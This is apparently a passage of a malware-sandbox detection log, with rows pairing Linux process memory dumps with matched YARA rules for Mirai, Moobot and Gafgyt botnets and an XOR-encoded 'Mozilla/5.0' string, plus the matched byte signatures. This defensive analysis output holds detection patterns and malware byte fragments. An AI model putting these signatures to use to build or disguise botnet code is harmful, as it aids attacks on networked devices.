2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7298.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6793.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7226.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7031.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7031.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7031.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7031.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7031.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7031.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7095.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7337.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6868.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6868.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6868.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6868.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6868.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6868.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6868.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7207.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7207.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7207.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7207.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7207.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7207.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7179.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7213.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7038.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7038.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7038.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7038.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7038.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7038.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7123.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7224.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7224.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7224.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7224.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7224.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 